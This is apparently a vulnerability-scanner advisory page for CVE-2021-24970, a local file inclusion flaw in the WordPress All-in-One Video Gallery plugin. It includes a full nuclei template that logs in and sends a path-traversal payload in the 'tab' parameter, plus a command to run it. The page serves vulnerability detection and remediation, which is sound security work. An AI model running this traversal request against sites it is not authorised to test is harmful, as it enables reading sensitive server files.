WordPress All-In-One Video Gallery <2.5.0 - Local File Inclusion

highseverity

7.2CVSS score

5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

WordPress All-in-One Video Gallery plugin before 2.5.0 is susceptible to local file inclusion. The plugin does not sanitize and validate the tab parameter before using it in a require statement in the admin dashboard. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Fixed in version 2.5.4.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=all-in-one-video-gallery&tab=..%2F..%2F..%2F..%2F..%2Findex
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "All-in-One Video Gallery") and contains(body_2, "Hello world!") and contains(body_2, "Welcome to WordPress")

Run it with nuclei: nuclei -id CVE-2021-24970 -u <target>

The full check

id: CVE-2021-24970

info:
  name: WordPress All-In-One Video Gallery <2.5.0 - Local File Inclusion
  author: r3Y3r53
  severity: high
  description: |
    WordPress All-in-One Video Gallery plugin before 2.5.0 is susceptible to local file inclusion. The plugin does not sanitize and validate the tab parameter before using it in a require statement in the admin dashboard. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Fixed in version 2.5.4.
  reference:
    - https://wpscan.com/vulnerability/9b15d47e-43b6-49a8-b2c3-b99c92101e10
    - https://wordpress.org/plugins/all-in-one-video-gallery
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24970
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24970
    cwe-id: CWE-22
    epss-score: 0.05013
    epss-percentile: 0.92315
    cpe: cpe:2.3:a:plugins360:all-in-one_video_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: plugins360
    product: all-in-one_video_gallery
    framework: wordpress
  tags: cve2021,cve,wpscan,wp,wp-plugin,wordpress,lfi,authenticated,plugins360,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=all-in-one-video-gallery&tab=..%2F..%2F..%2F..%2F..%2Findex  HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "All-in-One Video Gallery")'
          - 'contains(body_2, "Hello world!")'
          - 'contains(body_2, "Welcome to WordPress")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from